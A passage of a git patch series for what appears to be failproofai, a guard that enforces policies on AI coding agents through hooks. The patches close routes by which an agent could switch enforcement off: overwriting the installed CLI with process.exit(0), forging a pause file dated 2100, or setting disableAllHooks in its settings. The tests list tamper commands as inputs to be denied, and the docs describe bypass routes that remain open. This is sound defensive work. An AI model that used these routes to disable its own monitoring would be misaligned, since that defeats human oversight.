From 886ca0e3dacd277f0e84023ffb67b601939056f9 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:01:25 +0530 Subject: [PATCH 01/89] [hooks] Guard failproofai's installed code and refuse future-dated pauses (FailproofAI/agenteye#1796) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit (a) The always-on guard (block-failproofai-commands) matched protected paths with /\.failproofai(?:\/|\b)/, which needs a dot the installed package path (…/node_modules/failproofai/) does not have. User-scope hooks run that package from the absolute path `which failproofai` returned, which under nvm, Homebrew, Volta, bun, pnpm and the npx cache the agent's own user can write, so a Write of process.exit(0) over dist/cli.mjs turned every later hook into an allow, machine-wide. FAILPROOFAI_CODE_PATH_RE covers node_modules/failproofai, the daemon's @failproofai/failproofaid-* package and the bin/ and pnpm/ failproofai entries, case-insensitively, and is folded into FAILPROOFAI_STATE_PATH_RE so the file tools, the shell walk, variable tracking and glob matching all see it. File tools also check the symlink-resolved target, because the bin entry is usually a link into the package. (b) A session pause capped at 8h from firstPausedAt, read from the same owner-writable file, so a forged pause dated 2100 stayed live until 2100. parseStored now refuses a start in the future (beyond a one-minute clock step) or after the latest renewal. A script the agent writes and runs can still forge an 8h pause or overwrite the CLI: everything that decides enforcement is writable by the agent's user. Documented in docs/reference/failproof-cli.mdx. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 + __tests__/hooks/guard-installed-code.test.ts | 215 +++++++++++++++++++ __tests__/hooks/session-pause.test.ts | 50 +++++ docs/reference/failproof-cli.mdx | 2 +- src/hooks/builtin-policies.ts | 114 +++++++++- src/hooks/session-pause.ts | 32 ++- 6 files changed, 405 insertions(+), 10 deletions(-) create mode 100644 __tests__/hooks/guard-installed-code.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index d1c07e8de..40cfa2e67 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,8 @@ ### Fixes - Releases no longer depend on the removed version-bot GitHub App. Its absence stopped the 1.0.16 npm publish at its first step and failed every post-release version bump. Nothing in CI pushes to `main` any more: each release workflow pushes its bump commit to a `version-bump/-` branch with the job's own token (`scripts/push-version-bump.sh`) and links a pre-filled pull request, which lands through review. `bump-platform-submodule.yml` is gone; Dependabot's `gitsubmodule` updates now keep `skills` current, and `platform` and `agenteye` need the same entry. `@failproofai/sdk`'s post-publish install check now reads the registry with `--prefer-online` and waits up to about 12 minutes; it had gone red on both releases even though both published. `@failproofai/sdk` opens 0.0.1-beta.3 (#1048) +- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, to the daemon's `@failproofai/failproofaid-*` package, or to the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are the shell commands that write there. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796) +- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100 (FailproofAI/agenteye#1796) ## 1.0.16-beta.0 — 2026-11-23 diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts new file mode 100644 index 000000000..b4f9e0692 --- /dev/null +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -0,0 +1,215 @@ +// @vitest-environment node +import { describe, it, expect, vi, beforeAll, afterAll } from "vitest"; +import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { BUILTIN_POLICIES } from "../../src/hooks/builtin-policies"; +import type { PolicyContext } from "../../src/hooks/policy-types"; + +// Same mocks as state-guard.test.ts. The symlink cases below use the real +// synchronous `node:fs` on a temp directory, which these leave alone. +vi.mock("node:fs/promises", () => ({ + readFile: vi.fn(), + writeFile: vi.fn(), + stat: vi.fn().mockResolvedValue({ size: 0 }), + open: vi.fn(), +})); + +vi.mock("node:child_process", () => ({ + execSync: vi.fn(), + execFileSync: vi.fn(), +})); + +function makeCtx(overrides: Partial = {}): PolicyContext { + return { eventType: "PreToolUse", payload: {}, toolName: undefined, toolInput: undefined, ...overrides }; +} + +const policy = BUILTIN_POLICIES.find((p) => p.name === "block-failproofai-commands")!; + +const bash = async (command: string) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput: { command } }))).decision; + +const write = async (file_path: string, cwd?: string) => + policy.fn( + makeCtx({ + toolName: "Write", + toolInput: { file_path, content: "process.exit(0)\n" }, + ...(cwd ? { session: { cwd } } : {}), + }), + ); + +const edit = async (file_path: string) => + policy.fn(makeCtx({ toolName: "Edit", toolInput: { file_path, old_string: "deny(", new_string: "allow(" } })); + +/** Where the user-scope hook command's `which failproofai` lands, per install method. */ +const NVM_PKG = "/home/u/.nvm/versions/node/v22.11.0/lib/node_modules/failproofai"; +const INSTALLED_CLI = [ + ["nvm", `${NVM_PKG}/dist/cli.mjs`], + ["Homebrew node", "/opt/homebrew/lib/node_modules/failproofai/dist/cli.mjs"], + ["a system npm prefix", "/usr/local/lib/node_modules/failproofai/dist/cli.mjs"], + ["Volta", "/home/u/.volta/tools/image/packages/failproofai/lib/node_modules/failproofai/dist/cli.mjs"], + ["bun", "/home/u/.bun/install/global/node_modules/failproofai/dist/cli.mjs"], + ["the npx cache", "/home/u/.npm/_npx/0a1b2c3d4e5f6789/node_modules/failproofai/dist/cli.mjs"], + ["pnpm", "/home/u/.local/share/pnpm/global/5/.pnpm/failproofai@1.0.15/node_modules/failproofai/dist/cli.mjs"], + ["yarn", "/home/u/.config/yarn/global/node_modules/failproofai/dist/cli.mjs"], + ["a project install (npx)", "/work/proj/node_modules/failproofai/dist/cli.mjs"], +] as const; + +/** + * `block-failproofai-commands` protected failproofai's STATE (`~/.failproofai`) + * and not the CODE that reads it. User-scope hooks run the absolute path `which + * failproofai` returned, which for nvm, Homebrew, Volta, bun, pnpm and the npx + * cache is a package directory the agent's own user can write — and the hook + * client runs fresh from it on every tool call. Overwriting `dist/cli.mjs` with + * `process.exit(0)` turns every hook into an allow on the next call, for every + * session on the machine, and nothing reports it. (FailproofAI/agenteye#1796) + */ +describe("block-failproofai-commands — failproofai's installed code", () => { + describe("file tools", () => { + it.each(INSTALLED_CLI)("denies Write over the CLI installed by %s", async (_how, path) => { + const result = await write(path); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's installed code/); + }); + + it("denies Edit and NotebookEdit inside the installed package", async () => { + expect((await edit(`${NVM_PKG}/dist/worker.mjs`)).decision).toBe("deny"); + expect((await edit(`${NVM_PKG}/dist/index.js`)).decision).toBe("deny"); + expect((await edit(`${NVM_PKG}/package.json`)).decision).toBe("deny"); + const notebook = await policy.fn( + makeCtx({ toolName: "NotebookEdit", toolInput: { notebook_path: `${NVM_PKG}/x.ipynb` } }), + ); + expect(notebook.decision).toBe("deny"); + }); + + // The daemon binary ships as an optional dependency, and `failproofai + // config` / `update` copies it into place — on Linux as root, under /opt. + it("denies writing the failproofaid platform package", async () => { + for (const path of [ + `${NVM_PKG}/node_modules/@failproofai/failproofaid-linux-x64/bin/failproofaid`, + "/work/proj/node_modules/@failproofai/failproofaid-darwin-arm64/bin/failproofaid", + ]) { + expect((await write(path)).decision).toBe("deny"); + } + }); + + // The hook command names the bin entry, not the package: replacing it is + // the same bypass without touching `node_modules` at all. + it.each([ + ["nvm", "/home/u/.nvm/versions/node/v22.11.0/bin/failproofai"], + ["a system npm prefix", "/usr/local/bin/failproofai"], + ["Homebrew", "/opt/homebrew/bin/failproofai"], + ["bun", "/home/u/.bun/bin/failproofai"], + ["Volta", "/home/u/.volta/bin/failproofai"], + ["yarn", "/home/u/.yarn/bin/failproofai"], + ["pnpm on Linux", "/home/u/.local/share/pnpm/failproofai"], + ["pnpm on macOS", "/Users/u/Library/pnpm/failproofai"], + ])("denies replacing the hook entry point installed by %s", async (_how, path) => { + expect((await write(path)).decision).toBe("deny"); + }); + + // macOS volumes are case-insensitive by default, so every casing of a + // protected path opens the real file. + it("matches the protected paths case-insensitively", async () => { + expect((await write("/Users/u/.nvm/versions/node/v22.11.0/lib/node_modules/FailproofAI/dist/cli.mjs")).decision).toBe("deny"); + expect((await write("/opt/homebrew/bin/FAILPROOFAI")).decision).toBe("deny"); + expect((await write("/Users/u/.FailproofAI/policies-config.json")).decision).toBe("deny"); + }); + + it("sees through separators a path resolver collapses", async () => { + expect((await write("/usr/local/lib/node_modules//failproofai/dist/cli.mjs")).decision).toBe("deny"); + expect((await write("/usr/local/lib/node_modules/./failproofai/dist/cli.mjs")).decision).toBe("deny"); + }); + + describe("through links", () => { + let root: string; + let pkg: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-guard-")); + pkg = join(root, "lib", "node_modules", "failproofai"); + mkdirSync(join(pkg, "dist"), { recursive: true }); + writeFileSync(join(pkg, "dist", "cli.mjs"), "// real cli\n"); + mkdirSync(join(root, "elsewhere"), { recursive: true }); + // Neither link's own path says anything about failproofai. + symlinkSync(join(pkg, "dist", "cli.mjs"), join(root, "elsewhere", "tool.mjs")); + symlinkSync(pkg, join(root, "elsewhere", "pkg")); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + // A file tool writes THROUGH a symlink, so the path it was given is not + // the path it changes. npm, nvm and bun all install the bin entry as one. + it("denies a write whose symlink lands in the installed package", async () => { + const result = await write(join(root, "elsewhere", "tool.mjs")); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's installed code/); + }); + + it("denies creating a new file under a linked package directory", async () => { + expect((await write(join(root, "elsewhere", "pkg", "dist", "new-entry.mjs"))).decision).toBe("deny"); + }); + + it("resolves a relative path against the session's cwd", async () => { + expect((await write("elsewhere/tool.mjs", root)).decision).toBe("deny"); + }); + + it("still allows an ordinary file next to the links", async () => { + expect((await write(join(root, "elsewhere", "notes.md"))).decision).toBe("allow"); + }); + }); + + // Not a general file-write blocker: the package directory and the bin + // entry, and nothing that merely carries the name. + it.each([ + ["a source file in a failproofai checkout", "/home/u/src/failproofai/src/hooks/builtin-policies.ts"], + ["the checkout's own bin script", "/home/u/src/failproofai/bin/failproofai.mjs"], + ["the checkout's own build output", "/home/u/src/failproofai/dist/cli.mjs"], + ["another package's file", "/work/proj/node_modules/react/index.js"], + ["a package that only shares a prefix", "/work/proj/node_modules/failproofai-extras/index.js"], + ["the TypeScript SDK", "/work/proj/node_modules/@failproofai/sdk/dist/index.js"], + ["a project file named after the product", "/work/proj/src/failproofai.ts"], + ])("allows writing %s", async (_label, path) => { + expect((await write(path)).decision).toBe("allow"); + }); + }); + + describe("shell commands", () => { + it.each([ + ["a copy over the CLI", `cp /tmp/x.mjs ${NVM_PKG}/dist/cli.mjs`], + ["a move over the CLI", `mv /tmp/x.mjs ${NVM_PKG}/dist/cli.mjs`], + ["a redirect over the CLI", `cat /tmp/x.mjs > ${NVM_PKG}/dist/cli.mjs`], + ["an in-place sed", `sed -i 's/deny(/allow(/' ${NVM_PKG}/dist/cli.mjs`], + ["tee into the worker", `tee ${NVM_PKG}/dist/worker.mjs < /tmp/x.mjs`], + ["removing the package", `rm -rf ${NVM_PKG}`], + ["an interpreter writing the CLI", `python3 -c "open('${NVM_PKG}/dist/cli.mjs','w').write('')"`], + ["cd into the package, then delete", `cd ${NVM_PKG} && rm -rf dist`], + ["a project install", "rm -rf node_modules/failproofai"], + ["a glob onto a project install", "rm -rf node_modules/fail*"], + ["relinking the hook entry", "ln -sf /tmp/evil.sh /home/u/.nvm/versions/node/v22.11.0/bin/failproofai"], + ["copying over the hook entry", "cp /tmp/evil.sh /usr/local/bin/failproofai"], + ["installing over the hook entry", "install -m 755 /tmp/evil.sh /home/u/.bun/bin/failproofai"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + it.each([ + ["reading the package manifest", `cat ${NVM_PKG}/package.json`], + ["listing the build", `ls -la ${NVM_PKG}/dist`], + ["searching the build", "grep -rn block-failproofai-commands node_modules/failproofai/dist"], + ["hashing the CLI", `sha256sum ${NVM_PKG}/dist/cli.mjs`], + ["resolving the hook entry", "readlink -f /home/u/.nvm/versions/node/v22.11.0/bin/failproofai"], + ["backing the package up", "cp -r node_modules/failproofai /tmp/fp-backup"], + ["a clean reinstall", "rm -rf node_modules && npm ci"], + ["clearing every dependency", "rm -rf node_modules/*"], + ["clearing a build cache", "rm -rf node_modules/.cache"], + ["removing a checkout of the repo", "rm -rf /home/u/src/failproofai"], + ["cloning the repo", "git clone https://github.com/FailproofAI/failproofai"], + ["asking the registry", "npm view failproofai version"], + ])("allows %s", async (_label, command) => { + expect(await bash(command)).not.toBe("deny"); + }); + }); +}); diff --git a/__tests__/hooks/session-pause.test.ts b/__tests__/hooks/session-pause.test.ts index 9ef3c0081..55e0697f5 100644 --- a/__tests__/hooks/session-pause.test.ts +++ b/__tests__/hooks/session-pause.test.ts @@ -206,6 +206,56 @@ describe("pause state", () => { // And it is genuinely inert once the ceiling passes. expect(readActivePause("sess-h", start + PAUSE_CEILING_MS + 1)).toBeNull(); }); + + // The clamp above measures the ceiling from `firstPausedAt`, which comes from + // the same file. Moving the START out of reach moved the ceiling with it: a + // file dated 2100 read as live on every tool call until then — a single forged + // write that outlasted every session on the machine (FailproofAI/agenteye#1796). + describe("a pause that claims to start in the future", () => { + const forge = (fields: Record) => { + writePause({ sessionId: "sess-f", durationMs: 60_000, now: 1_000 }); + const [file] = readdirSync(pauseStateDir()); + writeFileSync( + resolve(pauseStateDir(), file), + JSON.stringify({ schemaVersion: 1, sessionId: "sess-f", setBy: "cli", ...fields }), + ); + }; + const now = Date.UTC(2026, 10, 24); + const year2100 = Date.UTC(2100, 0, 1); + + it("is not a pause at all", () => { + forge({ pausedAt: year2100, firstPausedAt: year2100, expiresAt: year2100 }); + expect(readActivePause("sess-f", now)).toBeNull(); + expect(readActivePause("sess-f", now + 30 * 24 * 3_600_000)).toBeNull(); + expect(listActivePauses(now)).toEqual([]); + }); + + it("is refused when only the start of the run is in the future", () => { + forge({ pausedAt: now, firstPausedAt: year2100, expiresAt: now + 60_000 }); + expect(readActivePause("sess-f", now)).toBeNull(); + }); + + it("is refused when the run starts after its latest renewal", () => { + forge({ pausedAt: now - 60_000, firstPausedAt: now - 1_000, expiresAt: now + 60_000 }); + expect(readActivePause("sess-f", now)).toBeNull(); + }); + + // The writer and the reader share one clock, so a legitimate file is never + // ahead of it by more than a clock correction. Refusing would only ever turn + // enforcement back ON, but a pause that vanishes after a small clock step + // would just be re-issued, so a minute of slack costs nothing. + it("tolerates a small clock step backwards", () => { + forge({ pausedAt: now + 30_000, firstPausedAt: now + 30_000, expiresAt: now + 90_000 }); + expect(readActivePause("sess-f", now)?.expiresAt).toBe(now + 90_000); + }); + + it("never lets a forged start carry into a real renewal", () => { + forge({ pausedAt: year2100, firstPausedAt: year2100, expiresAt: year2100 }); + const renewed = writePause({ sessionId: "sess-f", durationMs: 60_000, now }); + expect(renewed.firstPausedAt).toBe(now); + expect(renewed.expiresAt).toBe(now + 60_000); + }); + }); }); describe("formatDuration", () => { diff --git a/docs/reference/failproof-cli.mdx b/docs/reference/failproof-cli.mdx index e27e98466..e672159be 100644 --- a/docs/reference/failproof-cli.mdx +++ b/docs/reference/failproof-cli.mdx @@ -99,7 +99,7 @@ Run `failproofai` without arguments to open the local policy dashboard. | `--session ` | Target an explicit session for pause or resume | | `--all` | With `--resume`, end every active pause | -Local pauses suspend builtin, custom, convention, and pack policies for one session. They always expire and do not disable Cloud-managed policies. `block-failproofai-commands` — which is always on and cannot itself be disabled or paused — prevents an instrumented agent from using this escape hatch itself. +Local pauses suspend builtin, custom, convention, and pack policies for one session. They always expire, at most 8 hours after the first pause in a run, and they do not disable Cloud-managed policies or `block-failproofai-commands`, which is always on and cannot itself be disabled or paused. That guard refuses the direct ways an instrumented agent could pause itself: running `failproofai config --pause`, or writing the pause file under `~/.failproofai/state/sessions/`. It reads commands, not what a script does when it runs, so a script the agent writes and then runs can still reach the same state. A pause file is checked for a bounded expiry and a start that is not in the future, not for who wrote it. ## Policy flags diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 16402d333..7c62bc41c 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1,8 +1,8 @@ /** * Built-in security policies for Claude Code hooks. */ -import { resolve, join } from "node:path"; -import { statSync } from "node:fs"; +import { resolve, join, dirname, basename, isAbsolute } from "node:path"; +import { realpathSync, statSync } from "node:fs"; import { readFile, writeFile } from "node:fs/promises"; import { execSync, execFileSync } from "node:child_process"; import { homedir } from "node:os"; @@ -462,12 +462,87 @@ const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; // blockFailproofaiCommands /** - * A command that removes or moves failproofai's own state. + * failproofai's INSTALLED CODE: the package a hook command runs, and the bin + * entry that names it. + * + * User-scope hooks run the absolute path `which failproofai` returned at + * install time. Under nvm, Homebrew, Volta, bun, pnpm and the npx cache that is + * a package directory the agent's own user can write, and the hook client runs + * fresh from it on every tool call — so `process.exit(0)` written over + * `dist/cli.mjs` turned every later hook into an allow, for every session on + * the machine, with nothing reporting it. The daemon cannot catch that: a + * tampered client never asks it. The state pattern below needs a `.` the + * package path does not have (FailproofAI/agenteye#1796). + * + * - `node_modules/failproofai`, in every layout a package manager uses — and + * `node_modules/@failproofai/failproofaid-*`, the daemon's platform package, + * which `failproofai config` and `update` copy into place (on Linux as root, + * under `/opt`). + * - `…/bin/failproofai`, the entry npm, nvm, Homebrew, bun, Volta and yarn put + * on PATH, and `…/pnpm/failproofai`, which pnpm puts directly in its home. + * + * A checkout of this repository matches neither — no `node_modules` above it, + * and its entry is `bin/failproofai.mjs` — so the guard does not stand in front + * of working on failproofai itself. `node_modules/.bin/failproofai`, the stub + * `npx` prefers, is not matched here either (FailproofAI/agenteye#1795). + * + * Case-insensitive because macOS volumes are by default: every casing of these + * paths opens the real file. `(?:\.?[\\/])*` absorbs the `//` and `/./` a path + * resolver collapses. + */ +const FAILPROOFAI_CODE_PATH_RE = + /node_modules[\\/](?:\.?[\\/])*(?:failproofai(?![\w.@-])|@failproofai[\\/](?:\.?[\\/])*failproofaid\b)|[\\/](?:bin|pnpm)[\\/](?:\.?[\\/])*failproofai(?:\.cmd|\.ps1)?(?![\w.@-])/i; + +/** + * failproofai's own files: its state, and the installed code above. + * + * Named for the state, which came first. The code joined it because writing + * over it switches enforcement off as completely as deleting the state does, + * and every use of this pattern — the file tools, the shell walk, the variable + * and glob tracking — has to see both. * * Named separately from the binary walk because it never mentions the binary: * the target is a path, and the verb is an ordinary file command. */ -const FAILPROOFAI_STATE_PATH_RE = /\.failproofai(?:\/|\b)/; +const FAILPROOFAI_STATE_PATH_RE = new RegExp( + String.raw`\.failproofai(?:\/|\b)|` + FAILPROOFAI_CODE_PATH_RE.source, + "i", +); + +/** Which of failproofai's own files `path` names, for a deny message that says which. */ +function failproofaiFileKind(path: string): "state" | "code" | null { + if (!path || !FAILPROOFAI_STATE_PATH_RE.test(path)) return null; + return FAILPROOFAI_CODE_PATH_RE.test(path) ? "code" : "state"; +} + +/** + * The file a write to `path` actually changes, every symlink resolved. + * + * A file tool writes THROUGH a link, so the path it is handed is not + * necessarily the one it changes — and npm, nvm and bun install the + * `failproofai` bin entry as exactly such a link into the package. A tail that + * does not exist yet (a file about to be created) is re-attached to the deepest + * ancestor that does, so a new file under a linked directory resolves too. A + * relative path is taken from the session's directory, not this process's: the + * daemon's worker runs somewhere else entirely. + * + * "" when nothing resolves. Never throws — this runs for every file write. + */ +function resolveWriteTarget(path: string, cwd: string | undefined): string { + let current = isAbsolute(path) ? path : path && cwd ? join(cwd, path) : ""; + const missing: string[] = []; + for (let depth = 0; current && depth < 64; depth++) { + try { + return join(realpathSync(current), ...missing); + } catch { + const parent = dirname(current); + if (parent === current) break; + missing.unshift(basename(current)); + current = parent; + } + } + return ""; +} /** * Everything the state guard is allowed to let PAST, as a list of commands that @@ -702,6 +777,18 @@ const STATE_GLOB_CANDIDATES = [ "/root/.failproofai", "/home/u/.failproofai", "/Users/u/.failproofai", + // The installed code (FAILPROOFAI_CODE_PATH_RE): a project install, and the + // global locations whose prefix is the same on every machine. nvm's version + // directory and the npx cache's hash are not, so a glob under those is not one + // this list can anticipate; the literal paths there still match. + "node_modules/failproofai", + "/usr/local/lib/node_modules/failproofai", + "/usr/lib/node_modules/failproofai", + "/opt/homebrew/lib/node_modules/failproofai", + "/usr/local/bin/failproofai", + "/opt/homebrew/bin/failproofai", + "~/.bun/bin/failproofai", + "~/.volta/bin/failproofai", ]; /** @@ -719,6 +806,11 @@ const GLOB_DECOYS = [ "~/.config", "~/.cache", "$HOME/.config", "${HOME}/.cache", "/home/u/.config", "/Users/u/.config", "/root/.cache", "/tmp/build", "a", "foo.txt", "test-failures", + // Neighbours of the installed-code candidates, so `rm -rf node_modules/*` and + // its global equivalents are read as the sweeps they are. + "node_modules/react", "node_modules/.bin", + "/usr/local/lib/node_modules/npm", "/usr/lib/node_modules/npm", "/opt/homebrew/lib/node_modules/npm", + "/usr/local/bin/node", "/opt/homebrew/bin/node", "~/.bun/bin/bun", "~/.volta/bin/node", ]; /** @@ -2456,7 +2548,17 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // so naming the state at all is the whole test. if (ctx.toolName === "Write" || ctx.toolName === "Edit" || ctx.toolName === "NotebookEdit") { const path = getFilePath(ctx) || ((ctx.toolInput?.notebook_path as string) ?? ""); - if (FAILPROOFAI_STATE_PATH_RE.test(path)) { + // The path as given AND the file it lands on. The bin entry a user-scope + // hook runs is usually a symlink into the package, so writing through it + // changes the hook's code without the package's path ever being named. + const kind = failproofaiFileKind(path) ?? failproofaiFileKind(resolveWriteTarget(path, ctx.session?.cwd)); + if (kind === "code") { + return deny( + "Writing to failproofai's installed code would switch enforcement off. " + + "If a policy is blocking legitimate work, say so and let the operator decide.", + ); + } + if (kind === "state") { return deny( "Writing to failproofai's own state would switch enforcement off. " + "If a policy is blocking legitimate work, say so and let the operator decide.", @@ -2492,7 +2594,7 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // matcher and a real path to the shell. if (destroysFailproofaiState(cmd) || destroysFailproofaiState(unescaped)) { return deny( - "Deleting, moving or overwriting failproofai's own state would switch enforcement off. " + + "Deleting, moving or overwriting failproofai's own state or installed code would switch enforcement off. " + "If a policy is blocking legitimate work, say so and let the operator decide.", ); } diff --git a/src/hooks/session-pause.ts b/src/hooks/session-pause.ts index c5da82ccc..5af52fd59 100644 --- a/src/hooks/session-pause.ts +++ b/src/hooks/session-pause.ts @@ -20,6 +20,14 @@ * stale file is therefore inert rather than dangerous — the failure mode worth * engineering against is not "the pause didn't work", it is "the pause silently * never ended". + * + * What this file does NOT give is unforgeability. The directory is owner- + * writable, and so is everything else that decides enforcement on this machine + * — the agent's hook config, the installed CLI, the interpreter that runs it — + * so anything running as the user, an agent's own script included, can write a + * pause here. The always-on guard refuses the direct routes; what the reader + * enforces is that one write buys at most the ceiling, measured from a start + * that cannot lie in the future (FailproofAI/agenteye#1796). */ import { existsSync, mkdirSync, readdirSync, readFileSync, rmSync } from "node:fs"; import { createHash } from "node:crypto"; @@ -126,7 +134,16 @@ export function formatDuration(ms: number): string { return rest === 0 ? `${hours}h` : `${hours}h${rest}m`; } -function parseStored(raw: unknown): StoredPause | null { +/** + * How far a pause's recorded start may sit ahead of the reader's clock. + * + * The CLI that writes a pause and the hook that reads it share one clock, so a + * genuine file is ahead of it only after a clock correction — a minute covers + * that. Anything further was not written by `writePause` on this machine. + */ +const CLOCK_STEP_ALLOWANCE_MS = 60_000; + +function parseStored(raw: unknown, now: number): StoredPause | null { if (!raw || typeof raw !== "object") return null; const p = raw as Partial; if (p.schemaVersion !== SCHEMA_VERSION) return null; @@ -136,6 +153,15 @@ function parseStored(raw: unknown): StoredPause | null { // A file written before this field existed measures its ceiling from the // only start it recorded. Same meaning for a pause that was never renewed. const firstPausedAt = Number.isFinite(p.firstPausedAt) ? (p.firstPausedAt as number) : pausedAt; + // The ceiling below is measured from the run's start, and the start comes + // from this same owner-writable file — so a start in the future carried the + // ceiling with it. A file dated 2100 read as live on every tool call until + // 2100 (FailproofAI/agenteye#1796). `writePause` only ever records `now`, and + // a renewal keeps the earlier start, so a start after the renewal or ahead of + // the clock is not a pause this CLI wrote. Refused rather than clamped: + // clamping the start to `now` would restart the ceiling on every read, and + // refusing errs toward enforcement. + if (firstPausedAt > pausedAt || pausedAt > now + CLOCK_STEP_ALLOWANCE_MS) return null; return { schemaVersion: SCHEMA_VERSION, sessionId: p.sessionId, @@ -165,7 +191,7 @@ export function readActivePause(sessionId: string | undefined, now = Date.now()) try { const path = pauseFilePath(sessionId); if (!existsSync(path)) return null; - const stored = parseStored(JSON.parse(readFileSync(path, "utf8"))); + const stored = parseStored(JSON.parse(readFileSync(path, "utf8")), now); if (!stored) return null; if (stored.expiresAt <= now) return null; // expired — inert, not dangerous const { schemaVersion: _ignored, ...pause } = stored; @@ -228,7 +254,7 @@ export function listActivePauses(now = Date.now()): ActivePause[] { for (const name of names) { if (!name.endsWith(".json")) continue; try { - const stored = parseStored(JSON.parse(readFileSync(join(dir, name), "utf8"))); + const stored = parseStored(JSON.parse(readFileSync(join(dir, name), "utf8")), now); if (!stored || stored.expiresAt <= now) continue; const { schemaVersion: _ignored, ...pause } = stored; out.push(pause); From de65e59fb36b8c0be230e8e193c6213e43ca2cfd Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:11:43 +0530 Subject: [PATCH 02/89] [hooks] Block agent edits to its own hook settings (#1794) The always-on guard (block-failproofai-commands) refused writes to ~/.failproofai only. An agent could set "disableAllHooks": true in any Claude Code settings layer, or take failproofai's entries out of any agent CLI's hooks file, and from then on no policy ran, the guard included, with nothing reporting it. isAgentSettingsFile said these files "must NEVER be edited by the agent itself", but only reads were refused, and only by the opt-in block-read-outside-cwd. - File tools (Write, Edit, MultiEdit, NotebookEdit, and apply_patch, whose paths sit inside the patch) are denied on every integration's settings and hook files, checked after symlinks, including the dotfiles layout where ~/.claude/settings.json links elsewhere (new src/hooks/agent-settings-guard.ts). MultiEdit joins the catalog match. - Shell writes go through the walk that protects ~/.failproofai, which now takes its target as a parameter. The walk also learned yq -i, awk -i inplace, sed's e and W commands, file-moving git subcommands, and interpreters' inline programs and heredocs, for both targets. - config --status reports a disableAllHooks that is switching failproofai's Claude Code hooks off, resolved with Claude Code's precedence (src/hooks/claude-hooks-switch.ts). Part of FailproofAI/agenteye#1794 Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 4 + __tests__/hooks/claude-hooks-switch.test.ts | 204 ++++++++++ __tests__/hooks/settings-guard.test.ts | 428 ++++++++++++++++++++ docs/reference/failproof-cli.mdx | 6 + docs/start/quickstart.mdx | 2 +- src/hooks/agent-settings-guard.ts | 392 ++++++++++++++++++ src/hooks/builtin-policies.ts | 239 ++++++++--- src/hooks/claude-hooks-switch.ts | 57 +++ src/hooks/config-status.ts | 53 ++- src/hooks/policy-catalog.ts | 8 +- 10 files changed, 1328 insertions(+), 65 deletions(-) create mode 100644 __tests__/hooks/claude-hooks-switch.test.ts create mode 100644 __tests__/hooks/settings-guard.test.ts create mode 100644 src/hooks/agent-settings-guard.ts create mode 100644 src/hooks/claude-hooks-switch.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 49b7021c2..692cabf39 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,10 @@ - npm releases publish through trusted publishing (OIDC) instead of the `NPM_TOKEN` secret: `publish.yml` for `failproofai`, the four `@failproofai/failproofaid-*` platform packages and the typo aliases, and `publish-failproofai-ts-sdk.yml` for `@failproofai/sdk`. Each publishing job upgrades to npm 11 (Node 22 bundles npm 10, which cannot do the OIDC exchange), checks before anything publishes that npm is new enough and an OIDC token is available, and runs in a GitHub Environment (`npm-failproofai`, `npm-failproofai-ts-sdk`) that the npmjs.com trusted-publisher entries name. The `npm whoami` checks are gone, since they cannot check trusted publishing, and the platform-package publisher's retry after a rejected provenance statement now passes `--provenance=false`, because trusted publishing would otherwise sign it again. Each package needs its trusted-publisher entry on npmjs.com before the next release; the setup is documented at the top of both workflows (#1046) +### Fixes + +- An agent can no longer switch its own enforcement off by editing its CLI's settings: the always-on guard (`block-failproofai-commands`) refused writes to `~/.failproofai` only, so `"disableAllHooks": true` in any Claude Code settings layer, or failproofai's entries taken out of any agent's hooks file, stopped every policy, the guard included. It now refuses agent writes to every integration's settings and hook files (Claude Code, Codex `hooks.json` and `config.toml`, Copilot, Cursor, OpenCode, Pi, Antigravity, Goose, Factory, Devin, Hermes, OpenClaw): Write, Edit, MultiEdit, NotebookEdit and `apply_patch` edits, checked after symlinks, and shell writes through the same walk that protects `~/.failproofai`. That walk now also catches `yq -i`, `awk -i inplace`, `sed`'s `e` and `W` commands, file-moving `git` subcommands and interpreters' inline programs, for the state as well. Reading those files stays allowed, and `failproofai config --status` now reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off (FailproofAI/agenteye#1794) + ## 1.0.16-beta.0 — 2026-11-23 ### Fixes diff --git a/__tests__/hooks/claude-hooks-switch.test.ts b/__tests__/hooks/claude-hooks-switch.test.ts new file mode 100644 index 000000000..dee60f808 --- /dev/null +++ 